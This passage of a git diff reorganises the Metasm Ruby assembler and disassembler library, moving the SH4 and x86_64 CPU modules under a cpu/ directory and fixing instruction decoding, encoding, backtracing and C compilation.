+    addop 'CALL_FUNCTION_VAR_KW', 142, :u8, :u8, :setip  #/* #args + (#kwargs<<8) */
+
+    addop 'SETUP_WITH', 143
+
+    #/* Support for opargs more than 16 bits long */
+    addop 'EXTENDED_ARG', 145
+
+    addop 'SET_ADD', 146
+    addop 'MAP_ADD', 147
+  end
+end
+end
diff --git a/lib/metasm/metasm/sh4.rb b/lib/metasm/metasm/cpu/sh4.rb
similarity index 86%
rename from lib/metasm/metasm/sh4.rb
rename to lib/metasm/metasm/cpu/sh4.rb
index 70f7307189..4be5b1fa2d 100644
--- a/lib/metasm/metasm/sh4.rb
+++ b/lib/metasm/metasm/cpu/sh4.rb
@@ -5,4 +5,4 @@
 
 
 require 'metasm/main'
-require 'metasm/sh4/decode'
+require 'metasm/cpu/sh4/decode'
diff --git a/lib/metasm/metasm/sh4/decode.rb b/lib/metasm/metasm/cpu/sh4/decode.rb
similarity index 85%
rename from lib/metasm/metasm/sh4/decode.rb
rename to lib/metasm/metasm/cpu/sh4/decode.rb
index 75f6196e68..7e0629ddcf 100644
--- a/lib/metasm/metasm/sh4/decode.rb
+++ b/lib/metasm/metasm/cpu/sh4/decode.rb
@@ -3,7 +3,7 @@
 #
 #    Licence is LGPL, see LICENCE in the top-level directory
 
-require 'metasm/sh4/opcodes'
+require 'metasm/cpu/sh4/opcodes'
 require 'metasm/decode'
 
 module Metasm
@@ -39,7 +39,7 @@ class Sh4
   end
 
   def decode_findopcode(edata)
-    return if edata.ptr >= edata.data.length
+    return if edata.ptr >= edata.length
 
     di = DecodedInstruction.new(self)
     val = edata.decode_imm(:u16, @endianness)
@@ -110,7 +110,6 @@ class Sh4
       when :pr; PR.new
       when :fpul; FPUL.new
       when :fpscr; FPSCR.new
-      when :dbr; DBR.new
       when :pc; PC.new
 
       when :@rm, :@rn, :@disppc
@@ -137,25 +136,49 @@ class Sh4
     }
 
     di.bin_length += edata.ptr - before_ptr
+
+    return if edata.ptr > edata.length
+
     di
   end
 
   def disassembler_default_func
     df = DecodedFunction.new
     df.backtrace_binding = {}
-    15.times { |i| df.backtrace_binding["r#{i}".to_sym] = Expression::Unknown }
+    (0..7 ).each { |i| r = "r#{i}".to_sym ; df.backtrace_binding[r] = Expression::Unknown }
+    (8..15).each { |i| r = "r#{i}".to_sym ; df.backtrace_binding[r] = Expression[r] }
     df.backtracked_for = [BacktraceTrace.new(Expression[:pr], :default, Expression[:pr], :x)]
     df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr|
       if funcaddr != :default
         btfor
       elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip]
         btfor
-      else []
+      else
+        []
       end
     }
     df
   end
 
+  def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs)
+    retaddrlist.map! { |retaddr| dasm.decoded[retaddr] ? dasm.decoded[retaddr].block.list.last.address : retaddr } if retaddrlist
+    b = f.backtrace_binding
+
+    bt_val = lambda { |r|
+      next if not retaddrlist
+      bt = []
+      b[r] = Expression::Unknown	# break recursive dep
+      retaddrlist.each { |retaddr|
+        bt |= dasm.backtrace(Expression[r], retaddr,
+          :include_start => true, :snapshot_addr => faddr, :origin => retaddr)
+      }
+      b[r] = ((bt.length == 1) ? bt.first : Expression::Unknown)
+    }
+    wantregs = GPR::Sym if wantregs.empty?
+    wantregs.map { |r| r.to_sym }.each(&bt_val)
+  end
+
+
   # interprets a condition code (in an opcode name) as an expression
   def decode_cmp_expr(di, a0, a1)
     case di.opcode.name
@@ -197,6 +220,7 @@ class Sh4
       when 'stc.w', 'stc.b', 'mov.w', 'mov.b'
         lambda { |di, a0, a1| { a1 => Expression[a0, :&, mask[di]] }}
       when 'movt'; lambda { |di, a0| { a0 => :t_bit }}
+      when 'mova'; lambda { |di, a0, a1| { a1 => Expression[a0] }}
       when 'exts.b', 'exts.w', 'extu.w'
         lambda { |di, a0, a1| { a1 => Expression[a0, :&, mask[di]] }}
       when 'cmp/eq', 'cmp/ge', 'cmp/ge', 'cmp/gt', 'cmp/hi', 'cmp/hs'
@@ -212,12 +236,12 @@ class Sh4
       when 'clrt'; lambda { |di| { :t_bit => 0 }}
       when 'clrmac'; lambda { |di| { :macl => 0, :mach => 0 }}
       when 'jmp'; lambda { |di, a0| { :pc => a0 }}
-      when 'jsr'; lambda { |di, a0| { :pc => Expression[a0], :pr => Expression[di.address+2*2] }}
+      when 'jsr', 'bsr', 'bsrf'; lambda { |di, a0| { :pc => Expression[a0], :pr => Expression[di.address, :+, 2*2] }}
       when 'dt'; lambda { |di, a0|
         res = Expression[a0, :-, 1]
         { :a0 => res, :t_bit => Expression[res, :==, 0] }
       }
-      when 'add' ; lambda { |di, a0, a1| { a1 => Expression[a0, :+, a1] }}
+      when 'add' ; lambda { |di, a0, a1| { a1 => Expression[[a0, :+, a1], :&, 0xffff_ffff] }}
       when 'addc' ; lambda { |di, a0, a1|
         res = Expression[[a0, :&, mask[di]], :+, [[a1, :&, mask[di]], :+, :t_bit]]
         { a1 => Expression[a0, :+, [a1, :+, :t_bit]], :t_bit => Expression[res, :>, mask[di]] }
@@ -252,17 +276,16 @@ class Sh4
         shift_bit = Expression[a0, :&, 1]
         { a0 => Expression[a0, :>>, 1], :t_bit => shift_bit }
       }
-      when 'sub';  lambda { |di, a0, a1| { a1 => Expression[a0, :-, a1] }}
-      when 'subc'; lambda { |di, a0, a1| { a1 => Expression[a0, :-, [a1, :-, :t_bit]] }}
+      when 'sub';  lambda { |di, a0, a1| { a1 => Expression[[a1, :-, a0], :&, 0xffff_ffff] }}
+      when 'subc'; lambda { |di, a0, a1| { a1 => Expression[a1, :-, [a0, :-, :t_bit]] }}
       when 'and', 'and.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :&, mask[di]], :|, [[a1, :&, mask[di]]]] }}
       when 'or', 'or.b';   lambda { |di, a0, a1| { a1 => Expression[[a0, :|, mask[di]], :|, [[a1, :&, mask[di]]]] }}
       when 'xor', 'xor.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :|, mask[di]], :^, [[a1, :&, mask[di]]]] }}
-      when 'add', 'addc', 'addv'; lambda { |di, a0, a1| { a1 => Expression[a0, :+, a1] }}
       when 'neg' ;  lambda { |di, a0, a1| { a1 => Expression[mask[di], :-, a0] }}
       when 'negc' ; lambda { |di, a0, a1| { a1 => Expression[[[mask[di], :-, a0], :-, :t_bit], :&, mask[di]] }}
       when 'not';   lambda { |di, a0, a1| { a1 => Expression[a0, :^, mask[di]] }}
-      when 'nop'; lambda { {} }
-      when /^b/; lambda { {} }	# branches
+      when 'nop'; lambda { |*a| {} }
+      when /^b/; lambda { |*a| {} }	# branches
       end
     }
 
@@ -283,12 +306,15 @@ class Sh4
     if binding = backtrace_binding[di.opcode.basename]
       bd = binding[di, *a] || {}
       di.instruction.args.grep(Memref).each { |m|
-        if m.post
-          # TODO preincrement/postdecrement
-          bd.each { |k, v| bd[k] = v.bind(r => Expression[r, :+, 1]) }
-          bd[r] ||= Expression[r, :+, 1]
+        next unless r = m.base and r.kind_of?(GPR)
+        r = r.symbolic
+        case m.action
+        when :post
+          bd[r] ||= Expression[r, :+, di.opcode.props[:memsz]/8]
+        when :pre
+          bd[r] ||= Expression[r, :-, di.opcode.props[:memsz]/8]
         end
-      } if false
+      }
       bd
     else
       puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
@@ -310,6 +336,11 @@ class Sh4
           else val
           end
 
+    val = case di.instruction.opname
+          when 'braf', 'bsrf'; Expression[[di.address, :+, 4], :+, val]
+          else val
+          end
+
     [Expression[val]]
   end
 
diff --git a/lib/metasm/metasm/sh4/main.rb b/lib/metasm/metasm/cpu/sh4/main.rb
similarity index 93%
rename from lib/metasm/metasm/sh4/main.rb
rename to lib/metasm/metasm/cpu/sh4/main.rb
index 861cae89e4..46ee31b242 100644
--- a/lib/metasm/metasm/sh4/main.rb
+++ b/lib/metasm/metasm/cpu/sh4/main.rb
@@ -257,6 +257,8 @@ class Sh4 < CPU
       b = @base
       b = b.symbolic if b.kind_of? Reg
 
+      b = Expression[b, :-, sz/8] if @action == :pre
+
       if disp
         o = @disp
         o = o.symbolic if o.kind_of? Reg
@@ -272,12 +274,16 @@ class Sh4 < CPU
 
     def render
       if @disp
-        ['@(', @base, ',', @disp, ')']
+        #['@(', @base, ',', @disp, ')']
+        ['[', @base, '+', @disp, ']']
       else
         case @action
-        when :pre then ['@-', @base]
-        when :post then ['@', @base, '+']
-        else ['@', @base]
+        when :pre then ['[--', @base, ']']
+        when :post then ['[', @base, '++]']
+        else ['[', @base, ']']
+        #when :pre then ['@-', @base]
+        #when :post then ['@', @base, '+']
+        #else ['@', @base]
         end
       end
     end
@@ -288,5 +294,8 @@ class Sh4 < CPU
     init
   end
 
+  def dbg_register_list
+    @dbg_register_list ||= GPR::Sym
+  end
 end
 end
diff --git a/lib/metasm/metasm/sh4/opcodes.rb b/lib/metasm/metasm/cpu/sh4/opcodes.rb
similarity index 98%
rename from lib/metasm/metasm/sh4/opcodes.rb
rename to lib/metasm/metasm/cpu/sh4/opcodes.rb
index 8cc248a1b6..6b4913b49d 100644
--- a/lib/metasm/metasm/sh4/opcodes.rb
+++ b/lib/metasm/metasm/cpu/sh4/opcodes.rb
@@ -3,18 +3,17 @@
 #
 #    Licence is LGPL, see LICENCE in the top-level directory
 
-require 'metasm/sh4/main'
+require 'metasm/cpu/sh4/main'
 
 module Metasm
 class Sh4
   def addop(name, bin, *args)
     o = Opcode.new name, bin
 
-    o.args.concat(args & @fields_mask.keys)
-    (args & @valid_props).each { |p| o.props[p] = true }
-
-    (args & @fields_mask.keys).each { |f|
-      o.fields[f] = [@fields_mask[f], @fields_shift[f]]
+    args.each { |a|
+      o.args << a if @fields_mask[a]
+      o.props[a] = true if @valid_props[a]
+      o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a]
     }
 
     @opcode_list << o
@@ -74,7 +73,7 @@ class Sh4
     # implicit operands
     [:vbr, :gbr, :sr, :ssr, :spc, :sgr, :dbr, :mach, :macl, :pr, :fpul, :fpscr, :dbr, :pc, :r0].each { |a| @fields_mask[a] = @fields_shift[a] = 0 }
 
-    @valid_props = [:setip, :saveip, :stopexec , :delay_slot]
+    @valid_props[:delay_slot] = true
 
     addop 'add', 0b0011 << 12 | 0b1100, :rm, :rn
     addop 'add', 0b0111 << 12, :s8, :rn
@@ -275,7 +274,7 @@ class Sh4
     addop 'mov.w', 0b10000101 << 8, :@disprm, :r0
 
     addop 'mova', 0b11000111 << 8, :disppc, :r0 # calculates an effective address using PC-relative with displacement addressing
-    addop 'movca.l', 0b0000 << 12 | 11000011, :r0, :@rn # stores the long-word in R0 to memory at the effective address specified in Rn.     
+    addop 'movca.l', 0b0000 << 12 | 11000011, :r0, :@rn # stores the long-word in R0 to memory at the effective address specified in Rn.
 
     addop 'movt', 0b0000 << 12 | 0b00101001, :rn # copies the T-bit to Rn
 
diff --git a/lib/metasm/metasm/cpu/x86_64.rb b/lib/metasm/metasm/cpu/x86_64.rb
new file mode 100644
index 0000000000..19fc3fce1e
--- /dev/null
+++ b/lib/metasm/metasm/cpu/x86_64.rb
@@ -0,0 +1,15 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+class Metasm::X86_64 < Metasm::Ia32
+end
+
+require 'metasm/main'
+require 'metasm/cpu/x86_64/parse'
+require 'metasm/cpu/x86_64/encode'
+require 'metasm/cpu/x86_64/decode'
+require 'metasm/cpu/x86_64/render'
+require 'metasm/cpu/x86_64/debug'
+require 'metasm/cpu/x86_64/compile_c'
diff --git a/lib/metasm/metasm/x86_64/compile_c.rb b/lib/metasm/metasm/cpu/x86_64/compile_c.rb
similarity index 95%
rename from lib/metasm/metasm/x86_64/compile_c.rb
rename to lib/metasm/metasm/cpu/x86_64/compile_c.rb
index 4832b0349a..2cb133becd 100644
--- a/lib/metasm/metasm/x86_64/compile_c.rb
+++ b/lib/metasm/metasm/cpu/x86_64/compile_c.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/x86_64/parse'
+require 'metasm/cpu/x86_64/parse'
 require 'metasm/compile_c'
 
 module Metasm
@@ -222,11 +222,11 @@ class CCompiler < C::Compiler
           if e2.sz == 64 and e.sz == 32
             if op == 'movsx'
               instr 'movsxd', e2, e
-        else
+            else
               instr 'mov', Reg.new(e2.val, 32), e
-        end
+            end
           else
-        instr op, e2, e
+            instr op, e2, e
           end
         else
           e2 = inuse findreg(sz)
@@ -236,7 +236,7 @@ class CCompiler < C::Compiler
         e2
       elsif type.float?
         raise 'float unhandled'
-      else raise
+      else raise "cannot cast #{e} to #{type}"
       end
     elsif e.kind_of? Address
       make_volatile resolve_address(e), type, rsz
@@ -247,6 +247,7 @@ class CCompiler < C::Compiler
         e2
       elsif type.float?
         raise 'float unhandled'
+      else raise "cannot cast #{e} to #{type}"
       end
     else
       e
@@ -262,7 +263,7 @@ class CCompiler < C::Compiler
       elsif i >= (1<<64)-0x8000_0000
         v = Expression[Expression.make_signed(i, 64)]
       else
-        v = make_volatile(v)
+        v = make_volatile(v, C::BaseType.new(:int))
         unuse v
       end
     end
@@ -412,12 +413,11 @@ class CCompiler < C::Compiler
               instr 'mov', Reg.new(reg.val, 32), r
             end
           else
-          instr op, reg, r
+            instr op, reg, r
           end
           r = reg
         end
       end
-    else raise
     end
     r
   end
@@ -512,6 +512,7 @@ class CCompiler < C::Compiler
           end
         when :-
           r = c_cexpr_inner(expr.rexpr)
+          r = resolve_address r if r.kind_of? Address
           if r.kind_of? Expression
             unuse l, r
             l = Address.new(l.modrm.dup)
@@ -574,6 +575,13 @@ class CCompiler < C::Compiler
             else
               instr 'mov', l, Reg.new(r.val, l.sz)
             end
+          elsif l.kind_of? ModRM and r.kind_of? Expression and l.sz == 64
+            rval = r.reduce
+            if !rval.kind_of?(Integer) or rval > 0xffff_ffff or rval < -0x8000_0000
+              r = make_volatile(r, expr.type)
+              unuse r
+            end
+            instr 'mov', l, r
           else
             instr 'mov', l, r
           end
@@ -586,6 +594,7 @@ class CCompiler < C::Compiler
       l = c_cexpr_inner(expr.lexpr)
       l = make_volatile(l, expr.type)
       r = c_cexpr_inner(expr.rexpr)
+      r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz
       unuse r
       if expr.lexpr.type.integral? or expr.lexpr.type.pointer?
         instr 'cmp', l, i_to_i32(r)
@@ -611,13 +620,12 @@ class CCompiler < C::Compiler
     ft = ft.pointed if ft.pointer?
     ft = nil if not ft.kind_of? C::Function
 
-    arglist = expr.rexpr.dup
     regargsmask = @state.regargs.dup
     if ft
       ft.args.each_with_index { |a, i|
         if rn = a.has_attribute_var('register')
           regargsmask.insert(i, Reg.from_str(rn).val)
-    end
+        end
       }
     end
     regargsmask = regargsmask[0, expr.rexpr.length]
@@ -639,8 +647,8 @@ class CCompiler < C::Compiler
     stackargs = expr.rexpr.zip(regargsmask).map { |a, r| a if not r }.compact
 
     # preserve 16byte stack align under windows
-    stackalign = true if (stackargs + backup).length & 1 == 1
-    instr 'push', rax if stackalign
+    stackalign = true if @state.args_space > 0 and (stackargs + backup).length & 1 == 1
+    instr 'sub', Reg.new(4, @cpusz), Expression[8] if stackalign
 
     stackargs.reverse_each { |arg|
       raise 'arg unhandled' if not arg.type.integral? or arg.type.pointer?
@@ -652,7 +660,7 @@ class CCompiler < C::Compiler
     }
 
     regargs_unuse = []
-    regargsmask.zip(expr.rexpr).each { |ra, arg|
+    regargsmask.zip(expr.rexpr).reverse_each { |ra, arg|
       next if not arg or not ra
       a = c_cexpr_inner(arg)
       a = resolve_address a if a.kind_of? Address
@@ -666,9 +674,9 @@ class CCompiler < C::Compiler
 
     if ft.kind_of? C::Function and ft.varargs and @state.args_space == 0
       # gcc stores here the nr of xmm args passed, real args are passed the standard way
-      # TODO check visualstudio/ms ABI
       instr 'xor', rax, rax
       inuse rax
+      regargs_unuse << rax
     end
 
 
@@ -699,6 +707,7 @@ class CCompiler < C::Compiler
       else
         instr 'pop', Reg.new(reg, 64)
       end
+      inuse getreg(reg)
     }
     retreg
   end
@@ -750,8 +759,10 @@ class CCompiler < C::Compiler
 
     case op
     when 'add', 'sub', 'and', 'or', 'xor'
-      r = make_volatile(r, type) if l.kind_of? ModRM and r.kind_of? ModRM
+      r = make_volatile(r, type) if l.kind_of?(ModRM) and r.kind_of?(ModRM)
+      r = make_volatile(r, type) if r.kind_of?(ModRM) and r.sz != l.sz	# add rax, word [moo]
       unuse r
+      r = Reg.new(r.val, l.sz) if r.kind_of?(Reg) and l.kind_of?(ModRM) and l.sz and l.sz != r.sz     # add byte ptr [rax], bl
       instr op, l, i_to_i32(r)
     when 'shr', 'sar', 'shl'
       if r.kind_of? Expression
@@ -780,6 +791,7 @@ class CCompiler < C::Compiler
         end
         instr 'mov', l, ll
       else
+        r = make_volatile(r, type) if r.kind_of?(ModRM) and r.sz != l.sz
         instr 'imul', l, r
       end
       unuse r
@@ -866,6 +878,8 @@ class CCompiler < C::Compiler
       l = c_cexpr_inner(expr.lexpr)
       r = c_cexpr_inner(expr.rexpr)
       r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM
+      r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz
+      l = make_volatile(l, expr.type) if l.kind_of?(ModRM)
       if l.kind_of? Expression
         o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o
         l, r = r, l
@@ -951,7 +965,7 @@ class CCompiler < C::Compiler
         end
         @state.offset[a] = off
       else
-      @state.offset[a] = -argoff
+        @state.offset[a] = -argoff
         argoff = (argoff + sizeof(a) + 7) / 8 * 8
       end
     }
@@ -1011,10 +1025,6 @@ class CCompiler < C::Compiler
 
   def c_program_epilog
   end
-
-  def check_reserved_name(var)
-    Reg.s_to_i[var.name]
-  end
 end
 
   def new_ccompiler(parser, exe=ExeFormat.new)
diff --git a/lib/metasm/metasm/x86_64/debug.rb b/lib/metasm/metasm/cpu/x86_64/debug.rb
similarity index 90%
rename from lib/metasm/metasm/x86_64/debug.rb
rename to lib/metasm/metasm/cpu/x86_64/debug.rb
index 3559d91f70..10d35e5507 100644
--- a/lib/metasm/metasm/x86_64/debug.rb
+++ b/lib/metasm/metasm/cpu/x86_64/debug.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/x86_64/opcodes'
+require 'metasm/cpu/x86_64/opcodes'
 
 module Metasm
 class X86_64
@@ -15,7 +15,7 @@ class X86_64
     @dbg_register_flags ||= :rflags
   end
 
-  def dbg_register_list 
+  def dbg_register_list
     @dbg_register_list ||= [:rax, :rbx, :rcx, :rdx, :rsi, :rdi, :rbp, :rsp, :r8, :r9, :r10, :r11, :r12, :r13, :r14, :r15, :rip]
   end
 
@@ -40,10 +40,10 @@ class X86_64
   end
   def dbg_func_arg_set(dbg, argnr, arg)
     if dbg.class.name =~ /win/i
-      list = []
+      list = [:rcx, :rdx, :r8, :r9]
       off = 0x20
     else
-      list = []
+      list = [:rdi, :rsi, :rdx, :rcx, :r8, :r9]
       off = 0
     end
     if r = list[argnr]
diff --git a/lib/metasm/metasm/x86_64/decode.rb b/lib/metasm/metasm/cpu/x86_64/decode.rb
similarity index 73%
rename from lib/metasm/metasm/x86_64/decode.rb
rename to lib/metasm/metasm/cpu/x86_64/decode.rb
index 5e9032e72b..59729fa054 100644
--- a/lib/metasm/metasm/x86_64/decode.rb
+++ b/lib/metasm/metasm/cpu/x86_64/decode.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/x86_64/opcodes'
+require 'metasm/cpu/x86_64/opcodes'
 require 'metasm/decode'
 
 module Metasm
@@ -15,7 +15,7 @@ class X86_64
       rm = byte & 7
 
       if m == 3
-        rm |= 8 if pfx[:rex_b]
+        rm |= 8 if pfx[:rex_b] and (regclass != SimdReg or opsz != 64)	# mm8 -> mm0
         return regclass.new(rm, opsz)
       end
 
@@ -30,10 +30,15 @@ class X86_64
         sib = edata.get_byte.to_i
 
         ii = (sib >> 3) & 7
-          ii |= 8 if pfx[:rex_x]
+        ii |= 8 if pfx[:rex_x]
         if ii != 4
           s = 1 << ((sib >> 6) & 3)
-          i = Reg.new(ii, adsz)
+          if pfx[:mrmvex]
+            i = SimdReg.new(ii, pfx[:mrmvex])
+          else
+            i = Reg.new(ii, adsz)
+          end
+
         end
 
         bb = sib & 7
@@ -62,6 +67,7 @@ class X86_64
         imm = Expression[imm.reduce & ((1 << adsz) - 1)]
       end
 
+      opsz = pfx[:argsz] if pfx[:argsz]
       new adsz, opsz, s, i, b, imm, seg
     end
   end
@@ -103,7 +109,26 @@ class X86_64
       v
     }
 
-    opsz = op.props[:argsz] || (pfx[:rex_w] ? 64 : (pfx[:opsz] ? 16 : (op.props[:auto64] ? 64 : 32)))
+    pfx[:rex_r] = 1 if op.fields[:vex_r] and field_val[:vex_r] == 0
+    pfx[:rex_b] = 1 if op.fields[:vex_b] and field_val[:vex_b] == 0
+    pfx[:rex_x] = 1 if op.fields[:vex_x] and field_val[:vex_x] == 0
+    pfx[:rex_w] = 1 if op.fields[:vex_w] and field_val[:vex_w] == 1
+    di.instruction.prefix = pfx if not di.instruction.prefix and not pfx.empty?	# for opsz(di) + vex_w
+
+    case op.props[:needpfx]
+    when 0x66; pfx.delete :opsz
+    when 0x67; pfx.delete :adsz
+    when 0xF2, 0xF3; pfx.delete :rep
+    end
+
+    if op.props[:setip] and not op.props[:stopexec] and pfx[:seg]
+      case pfx.delete(:seg).val
+      when 1; pfx[:jmphint] = 'hintnojmp'
+      when 3; pfx[:jmphint] = 'hintjmp'
+      end
+    end
+
+    opsz = op.props[:argsz] || opsz(di)
     adsz = pfx[:adsz] ? 32 : 64
     mmxsz = (op.props[:xmmx] && pfx[:opsz]) ? 128 : 64
 
@@ -112,22 +137,31 @@ class X86_64
       when :reg;    Reg.new     field_val_r[a], opsz
       when :eeec;   CtrlReg.new field_val_r[a]
       when :eeed;   DbgReg.new  field_val_r[a]
+      when :eeet;   TstReg.new  field_val_r[a]
       when :seg2, :seg2A, :seg3, :seg3A; SegReg.new field_val[a]
-      when :regmmx; SimdReg.new field_val_r[a], mmxsz
+      when :regmmx; SimdReg.new field_val[a], mmxsz	# rex_r ignored
       when :regxmm; SimdReg.new field_val_r[a], 128
+      when :regymm; SimdReg.new field_val_r[a], 256
 
       when :farptr; Farptr.decode edata, @endianness, opsz
       when :i8, :u8, :i16, :u16, :i32, :u32, :i64, :u64; Expression[edata.decode_imm(a, @endianness)]
       when :i		# 64bit constants are sign-extended from :i32
         type = (opsz == 64 ? op.props[:imm64] ? :a64 : :i32 : "#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym )
- 				v = edata.decode_imm(type, @endianness)
+        v = edata.decode_imm(type, @endianness)
         v &= 0xffff_ffff_ffff_ffff if opsz == 64 and op.props[:unsigned_imm] and v.kind_of? Integer
         Expression[v]
 
-      when :mrm_imm;  ModRM.new(adsz, opsz, nil, nil, nil, Expression[edata.decode_imm("a#{adsz}".to_sym, @endianness)], pfx[:seg])
-      when :modrm, :modrmA; ModRM.decode edata, field_val[a], @endianness, adsz, opsz, pfx[:seg], Reg, pfx
-      when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx[:seg], SimdReg, pfx
-      when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx[:seg], SimdReg, pfx
+      when :mrm_imm;  ModRM.new(adsz, opsz, nil, nil, nil, Expression[edata.decode_imm("a#{adsz}".to_sym, @endianness)], pfx.delete(:seg))
+      when :modrm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, opsz, pfx.delete(:seg), Reg, pfx
+      when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz])
+      when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex])
+      when :modrmymm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 256, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex])
+
+      when :vexvreg; Reg.new((field_val[:vex_vvvv] ^ 0xf), opsz)
+      when :vexvxmm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 128)
+      when :vexvymm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 256)
+      when :i4xmm; SimdReg.new(edata.decode_imm(:u8, @endianness) >> 4, 128)
+      when :i4ymm; SimdReg.new(edata.decode_imm(:u8, @endianness) >> 4, 256)
 
       when :regfp;  FpReg.new   field_val[a]
       when :imm_val1; Expression[1]
@@ -142,6 +176,8 @@ class X86_64
 
     di.bin_length += edata.ptr - before_ptr
 
+    return if edata.ptr > edata.length
+
     if op.name == 'movsx' or op.name == 'movzx' or op.name == 'movsxd'
       if op.name == 'movsxd'
         di.instruction.args[1].sz = 32
@@ -157,12 +193,13 @@ class X86_64
       else
         di.instruction.args[0].sz = 32
       end
+    elsif op.name == 'crc32'
+      di.instruction.args[0].sz = 32
     end
 
     # sil => bh
     di.instruction.args.each { |a| a.val += 12 if a.kind_of? Reg and a.sz == 8 and not pfx[:rex] and a.val >= 4 and a.val <= 8 }
 
-    pfx.delete :seg
     case pfx.delete(:rep)
     when :nz
       if di.opcode.props[:strop]
@@ -194,18 +231,24 @@ class X86_64
     di
   end
 
-  def opsz(di)
+  def opsz(di, op=nil)
     if di and di.instruction.prefix and di.instruction.prefix[:rex_w]; 64
-    elsif di and di.instruction.prefix and di.instruction.prefix[:opsz]; 16
-    elsif di and di.opcode.props[:auto64]; 64
+    elsif di and di.instruction.prefix and di.instruction.prefix[:opsz] and (op || di.opcode).props[:needpfx] != 0x66; 16
+    elsif di and (op || di.opcode).props[:auto64]; 64
     else 32
     end
   end
 
+  def adsz(di, op=nil)
+    if di and di.instruction.prefix and di.instruction.prefix[:adsz] and (op || di.opcode).props[:needpfx] != 0x67; 32
+    else 64
+    end
+  end
+
   def register_symbols
     [:rax, :rcx, :rdx, :rbx, :rsp, :rbp, :rsi, :rdi, :r8, :r9, :r10, :r11, :r12, :r13, :r14, :r15]
   end
-  
+
   # returns a DecodedFunction from a parsed C function prototype
   def decode_c_function_prototype(cp, sym, orig=nil)
     sym = cp.toplevel.symbol[sym] if sym.kind_of?(::String)
@@ -235,7 +278,7 @@ class X86_64
     end
 
     al = cp.typesize[:ptr]
-      df.backtrace_binding[:rsp] = Expression[:rsp, :+, al]
+    df.backtrace_binding[:rsp] = Expression[:rsp, :+, al]
 
     # scan args for function pointers
     # TODO walk structs/unions..
diff --git a/lib/metasm/metasm/x86_64/encode.rb b/lib/metasm/metasm/cpu/x86_64/encode.rb
similarity index 77%
rename from lib/metasm/metasm/x86_64/encode.rb
rename to lib/metasm/metasm/cpu/x86_64/encode.rb
index ed77d7500d..cba3e13c8f 100644
--- a/lib/metasm/metasm/x86_64/encode.rb
+++ b/lib/metasm/metasm/cpu/x86_64/encode.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/x86_64/opcodes'
+require 'metasm/cpu/x86_64/opcodes'
 require 'metasm/encode'
 
 module Metasm
@@ -64,7 +64,7 @@ class X86_64
           # sib
           or_bits[4]
 
-          @b, @i = @i, @b if @s == 1 and (@i.val_enc == 4 or @b.val_enc == 5)
+          @b, @i = @i, @b if @s == 1 and @i.kind_of?(Reg) and (@i.val_enc == 4 or @b.val_enc == 5)
 
           raise EncodeError, "Invalid ModRM #{self}" if @i.val == 4
 
@@ -116,23 +116,30 @@ class X86_64
       case k
       when :jmp;  {:jmp => 0x3e, :nojmp => 0x2e}[v]
       when :lock; 0xf0
-      when :rep;  {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] # TODO
+      when :rep;  {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v]
+      when :jmphint; {'hintjmp' => 0x3e, 'hintnojmp' => 0x2e}[v]
+      when :seg; [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][v.val]
       end
     }.compact.pack 'C*'
-    pfx << op.props[:needpfx] if op.props[:needpfx]
 
-    rex_w = rex_r = rex_x = rex_b = nil
+    rex_w = rex_r = rex_x = rex_b = 0
     if op.name == 'movsx' or op.name == 'movzx' or op.name == 'movsxd'
       case i.args[0].sz
       when 64; rex_w = 1
       when 32
       when 16; pfx << 0x66
       end
+    elsif op.name == 'crc32'
+      case i.args[1].sz
+      when 64; rex_w = 1
+      when 32;
+      when 16; pfx << 0x66
+      end
     else
       opsz = op.props[:argsz] || i.prefix[:sz]
       oi.each { |oa, ia|
         case oa
-        when :reg, :reg_eax, :modrm, :modrmA, :mrm_imm
+        when :reg, :reg_eax, :modrm, :mrm_imm
           raise EncodeError, "Incompatible arg size in #{i}" if ia.sz and opsz and opsz != ia.sz
           opsz = ia.sz
         end
@@ -140,7 +147,7 @@ class X86_64
       opsz ||= 64 if op.props[:auto64]
       opsz = op.props[:opsz] if op.props[:opsz]	# XXX ?
       case opsz
-      when 64; rex_w = 1 if not op.props[:auto64]
+      when 64; rex_w = 1 if not op.props[:auto64] and (not op.props[:argsz] or op.props[:opsz] == 64)
       when 32; raise EncodeError, "Incompatible arg size in #{i}" if op.props[:auto64]
       when 16; pfx << 0x66
       end
